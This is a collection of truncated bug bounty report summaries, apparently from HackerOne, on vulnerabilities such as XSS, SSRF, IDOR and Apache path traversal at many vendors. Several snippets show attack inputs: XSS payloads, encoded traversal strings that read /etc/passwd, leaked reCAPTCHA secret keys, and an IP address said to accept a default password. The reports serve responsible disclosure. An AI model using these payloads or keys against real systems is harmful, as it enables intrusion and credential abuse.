GitLab: Installing Gitlab runner with Docker-In-Docker allows root access

Summary Installing a Gitlab runner using official documents: https://docs.gitlab.com/ee/ci/docker/usingdockerbuild.htmluse-docker-socket-binding allows any user with access to Gitlab CI to have root access on Gitlab Runner server. Steps to reproduce Install Gitlab-runner binary using official...

Courier: Missing SPF record on trycourier.app

Missing SPF record on trycourier.app domain which has been retired a while ago...

Judge.me : Stored XSS in Question edit from product name

Hi @judgeme! Step to reproduce: 1. Log in to your shopify account and create product with name "img src=x onerror=prompt 2. Go to our store and write question to our product with name "img src=x onerror=prompt 3. Then go to Shopify admin/Judge.me Product Reviews/Questions and edit question. XSS...

Paragon Initiative Enterprises: Recaptcha Secret key Leaked

Greeting from @kashifinfo90, I hope Paragonie Security Team is doing great, Following Secret Keys are leaked: "secret-key": "6Ldy5BYTAAAAAPBh868BMm2nGZelOUyXJHTUE4no", "site-key": "6Ldy5BYTAAAAACk3Tj8wDUBLcVxSL2JXFBw-Dtj3" "secret-key": "6Ld27iETAAAAAF6tsd5SaoCgc5cFX-tkfHqx7FtX", "site-key":...

TikTok: Clickjacking Vulnerability Can Leads To Delete Developer APP

A clickjacking vulnerability was found on a TikTok subdomain, where an attacker could trick another user into deleting the Developer App. We thank @rioncool22 for reporting this to our team...

U.S. Dept Of Defense: [CVE-2020-3452] Unauthenticated file read in Cisco ASA

I found out that https://███/ was vulnerable to CVE-2020-3452. The IP has a SSL certificate pointing to DoD. curl -kv https://██████████/ Output: Server certificate: subject: █████ Impact Anyone can read any file present on the server. System Hosts ████ Affected Products and Versions CVE Numbers...

Aiven Ltd: Zero day path traversal vulnerability in Grafana 8.x allows unauthenticated arbitrary local file read

Summary: Hi team, I've found a path traversal issue in the Grafana instances hosted on the Aiven platforms. With the path traversal it's possible for an unauthenticated user to read arbitrary files on the server. Steps To Reproduce: 1. Login at https://console.aiven.io 1. Create a new Grafana...

Django: Deserialization of potentially malicious data to RCE

Hello, Django Team! It's my first time working with you, hope it will be great! Note: I have not seen this issue neither in known vulnerabilities nor in documentation, so here I am. Summary Several type of caches in https://github.com/django/django/tree/main/django/core/cache/backends use python...

Elastic: Default password on 34.120.209.175

There is a default password on 34.120.209.175, I can log in successfully.It has 500 Server Error, But we can confirm default password is vaild. Summary: The IP has a SSL certificate pointing to ElasticSearch. curl -kv https://34.120.209.175 Steps To Reproduce: 1. access...

GitHub Security Lab: [Java] CWE-400: Query to detect uncontrolled thread resource consumption

This bug was reported directly to GitHub Security Lab...

GitHub Security Lab: [porcupiney.hairs]: [Python] Add Flask Path injection sinks

This bug was reported directly to GitHub Security Lab...

GitHub Security Lab: ihsinme: CPP Add query for CWE-675 Duplicate Operations on Resource

This bug was reported directly to GitHub Security Lab...

Ruby on Rails: Escape Sequence Injection vulnerability in Rack

An escape sequence injection vulnerability was discovered in the Rack framework's commonlogger. This vulnerability allowed an attacker to inject escape sequences into logs, potentially leading to the execution of dangerous control characters on a victim's terminal emulator...

Imgur: No length on password

Hey, when I try to set the password while creating an account I noticed that you haven't kept any password limit. You need to decrease password length: There are two reasons for limiting the password size. For one, hashing a large amount of data can cause significant resource consumption on behal...

Judge.me : IDOR: leak buyer info & Publish/Hide foreign comments

HI @judgeme! I noticed that the attacker can learn email users who left feedback at the time of buying. Step to reproduce: 1. Login to our store and install your 'Checkout Comments' addon 2. Make fake order in or store and write a comment ███ 3. Then go to our Shopify...

Shopify: Reflected XSS online-store-git.shopifycloud.com

Summary: Hello, I hope you are having a good day!, There is a feature called "Shopify Github Integration", it helps to associate a GitHub account to a Shopify store. In the Github connection proccess there is a URL https://online-store-git.shopifycloud.com which is vulnerable to XXS reflected...

Rocket.Chat: getUsersOfRoom discloses users in private channels

Summary Improper input data validation in the getUsersOfRoom Meteor server method allows authenticated users to enumerate existing rooms and subscribed users. Description Input data in the getUsersOfRoom Meteor server method is not type validated, so that MongoDB query operator objects are accept...

Rocket.Chat: getUserMentionsByChannel leaks messages with mention from private channel

Summary The getUserMentionsByChannel meteor server method discloses messages from private channels and direct messages regardless of the users access permission to the room. Description When calling the getUserMentionsByChannel method, the server does not check the users access to the given room...

Stripe: Bypassing domain deny_list rule in Smokescreen via trailing dot leads to SSRF

The Smokescreen proxy is an open source project written and maintained by Stripe to restrict the URLs that internal services can connect to. The primary use case for Smokescreen is to prevent server-side request forgery SSRF attacks in which external attackers leverage the behavior of our...

Zomato: Race condition in User comments Likes

The researcher found a Race Condition to artificially inflate the upvotes of user comments in the Restaurant's review section...

GitLab: Arbitrary POST request as victim user from HTML injection in Jupyter notebooks

Summary An attacker can create a Jupyter notebook that will make arbitrary POST requests as the victim user. In the "worst case" an attacker could make an admin create a new admin account for the attacker. Other possible attack vectors are forcing invites to private projects etc. Every POST reque...

Lark Technologies: Full read SSRF via Lark Docs `import as docs` feature

A SSRF server side request forgery vulnerability was found in the LarkDocs using the "import as docs" feature, which could have potentially been used to access services running on the internal network. We thank @sirleeroyjenkins for reporting this to our team and confirming the resolution...

Zomato: Add upto 10K rupees to a wallet by paying an arbitrary amount

| TimeStamp | Action | |----------|:-------------:| | Wed, 24 Nov 2021, 11:24 IST | Received the report | | Wed, 24 Nov 2021, 11:25 IST | Validation and analysis of issue initiated | | Wed, 24 Nov 2021, 11:28 IST | Vulnerability reported to the respective Internal Team | | Wed, 24 Nov 2021, 11:36...

XVIDEOS: CSRF on delete friend requests - Not protected with CSRF Token

Summary: Hello XVideos Security Team, The is a possibility of CSRF on the POST method when deleting friend requests that are sent by the users. Any user can send the malicious contents to perform the post method in order to delete a friend request for a specific member. Steps To Reproduce: 1. Log...

Nextcloud: Access to arbitrary file of the Nextcloud Android app from within the Nextcloud Android app

Summary: The Android client of nextcloud com.nextcloud.client allows arbitrary file including protected/private files to be leaked through the file upload functionality. Steps To Reproduce: A report 1142918 has been submitted for the vulnerability of leaking arbitrary protected files. NextCloud...

MTN Group: Wordpress users disclosure from json and xml file

Summary: It's possible to get information about the users registered such as: username without authentication in Wordpress via API on: https://www.mtn.co.sz/wp-json/oembed/1.0/embed?url=https://www.mtn.co.sz/&format=json https://www.mtn.co.sz/author-sitemap.xml Steps To Reproduce: The path...

Rocket.Chat: Message ID Enumeration with Action Link Handler

Summary The actionLinkHandler method was found to allow Message ID Enumeration with Regex MongoDB queries. Releases Affected: The Meteor method actionLinkHandler calls an actionLinks wrapper getMessage to find affected messages: javascript Meteor.methods actionLinkHandlername, messageId if...

Dropbox: Full Response SSRF via Google Drive

This researcher pointed out that HelloSign's Google Drive doc export feature had a URL parsing issue that could allow extra parameters to be passed to Google Drive API. By making use of an extra parameter in the Google Drive API, it was possible for researchers to force HelloSign to parse externa...

Nextcloud: bypass forced password protection via circles app

Summary: A user can bypass password enforcement for link and email shares by using a circle Steps To Reproduce: 1. enable forced passwords for link shares and email shares as administrator in the share settings 2. as user create a circle and add an e-mail-address 3. share some file to that circle...

U.S. Dept Of Defense: Rxss on █████████ via logout?service=javascript:alert(1)

Description: I found open redirect and xss Rxss at the ██████████ logout page, https://████/██████████/logout?service=https://google.com It also allows javascript URIs, leading to Xss Impact Attacker can trick users to visit malicious websites or can lead to phishing and many other type of attack...

Shopify: Ability to Disable the Login Attempt of any Shopify Owner for 24 hrs (Zero_Click)

Hello Team, I Found a Bug in which Hacker Have Ability to Disable the Login Attempt of any Shopify Owner With ZeroClick Summary: ---------- Proof of Concept; ------------------- Credentials: ------------- Victim = ███████.com ████████ Hacker = █████████.com Victim Sceanrio: ----------------- Step...

Rocket.Chat: Moving private messages into vision with updateMessage method

Vulnerability description not provided...

UPchieve: Authentication Bypass - Email Verification code bypass in account registration process.

Hi Team, I was able to bypass Email Verification code in account registration process. Summary : Authentication Bypass is a dangerous vulnerability, which is found in Web-Applications. An Attackers can bypass the control mechanisms which are used by the underlying web application like Email...

X (Formerly Twitter): Subdomain takeover of images.crossinstall.com

Summary images.crossinstall.com points to an AWS S3 bucket that no longer exists. I was able to take control of this bucket and put my own content onto it. I can now serve content on this domain, obtain a TLS certificate for this domain, etc. If any customers or servers are pointing to anything...

Shopify: Sidekiq dashboard exposed at notary.shopifycloud.com

Summary: Hi, I found that the host https://notary.shopifycloud.com/ is exposing a sidekiq dashboard to the internet, for any unauthenticated user to use. I am not very familliar with Sidekiq, but from what I can tell its used for ruby background proccessing. I am fairly certain this dashboard is...

UPchieve: CORS origin validation failure

Hi team, I hope you are doing well on the other side. Summary: I found that https://hackers.upchieve.org/ is using cross-origin resource sharing in an insecure way. The web application fails to properly validate the Origin header and returns the header Access-Control-Allow-Credentials: true. This...

Judge.me : Email templates XSS by filterXSS bypass

Summary: js-xss is used to prevent XSS on email templates previews but the custom onIgnoreTag function can be used to bypass this filter. This leads to a Self-XSS scenario that can be used to achieve Account Takeover in 1-click. js onIgnoreTag: function e, t return "!--if" === e || "!endif--" ===...

Internet Bug Bounty: Ruby - Regular Expression Denial of Service Vulnerability of Date Parsing Methods

Official report: https://www.ruby-lang.org/en/news/2021/11/15/date-parsing-method-regexp-dos-cve-2021-41817/ CVE-2021-41817 Here are the details from the official article: Date’s parsing methods including Date.parse are using Regexps internally, some of which are vulnerable against regular...

Judge.me : Stored XSS in "product type" field executed via product filters

HI @judgeme! I found Stored XSS! I Install judge.me in Shopify E-Commerce. Step to reproduce: 1. Log in to our shopify dev store and install "judgeme" app. 2. Create random product in our Shopify store make it active and insert XSS playload " in "PRODUCT TYPE" field and SAVE F1518888 3. Then go t...

Internet Bug Bounty: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.50

Hello Apache team, @fms and myself were able to bypass the latest patch for CVE 2021-41773 in the Apache 2.4.50. These are the payloads: 1 %%32%65%%32%65 2 .%%32%65 3 .%%32e 4 .%2%65 PoC Path Traversal GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1...

TikTok: Multiple vulnerability leading to account takeover in TikTok SMB subdomain.

Multiple vulnerabilities like Insecure Direct Object Reference IDOR, Cross-Site Request Forgery CSRF, XSS were found that could have resulted in account takeover on the TikTok SMB subdomain. First, an Insecure Direct Object Reference IDOR was found, where a missing authorization check could allow...

Nextcloud: Possibility to force an admin to install recommended applications

Summary: Endpoint /nextcloud/index.php/core/apps/recommended is accessible via GET http method and doesn't check anti-csrf token. If an admin visits this endpoint in a browser the process of installation of recommended applications begins immediately. Steps To Reproduce: 1. an attacker creates a...

Mail.ru: blog/wp-json/wp/v2/users FILE is enable it will used for bruteforce attack the admin panel at blog/wp-login.php

hello team, The file v2/users at https://happynumbers.com/blog/wp-json/wp/v2/users/ is enabled and this give the attacker many users names like admin adam Alexa Alina Danny David Fedor Olga to use them at https://happynumbers.com/blog/wp-login.php on BRUTE FORCE attack because no protection again...

GitHub Security Lab: [Python]: JWT security-related queries

This bug was reported directly to GitHub Security Lab...

Acronis: IDOR vulnerability (Price manipulation)

Target: acronis.cz Step to Reproduce 1.Go to acronis.cz 2.buy any product in this case i am going to buy this https://www.acronis.cz/produkt/acronis-cyber-protect-home-office/ for test 3.fill up details 4.go to burpsuite turn on intercept 5.click on buy now 6.check request in intercept change pri...

Nextcloud: Control character filtering misses leading and trailing whitespace in file and folder names

Summary: It is possible to create files and folders that have leading and trailing \n, \r, \t, and \v characters. The server rejects files and folders that have these characters in the middle of their names, so this might be an opportunity for injection. In lib/private/Files/Storage/Common.php, t...

QIWI: broken authentication (password reset link not expire after use in https://network.tochka.com/sign-up)

target :-https://network.tochka.com/ bug:-- Broken Authentication Password Reset Link Not Expired After Use severity:- medium“Insufficient Security Configurability Weak Reset Password Implementation Token Not Invalidated After Use” Steps To Find This Bug: 1.Go to https://network.tochka.com/sign-u...

GitLab: RCE via WikiCloth markdown rendering if the `rubyluabridge` gem is installed

Summary One of the supported wiki formats is mediawiki which is rendered by WikiCloth via GitLab Markup: https://gitlab.com/gitlab-org/gitlab-markup/-/blob/v1.7.1/lib/github/markups.rbL24-28 ruby markup:wikicloth, /mediawiki|wiki/ do |content| wikicloth = WikiCloth::WikiCloth.new:data = content...

Rocket.Chat: Persistent CSS injection with ’marked’ markdown parser in Rocket.Chat

Summary: Rocket.Chat offers two different markdown parsers out of the box: the ’orginal’ one and the ’marked’ one. Both markdown parsers offer a different set of features with different re- strictions. Due to more loose restrictions in the ’marked’ parser, a persistent CSS injection in the web...

Engel & Völkers Technology GmbH: Reflected Xss in https://world.engelvoelkers.com/...

Summary: When trying to access https://world.engelvoelkers.com/login, I am redirected to https://login.engelvoelkers.com with a long URL, when analyzing this url I found base64 encoded xml parameters, after decoding the url I found the following url:...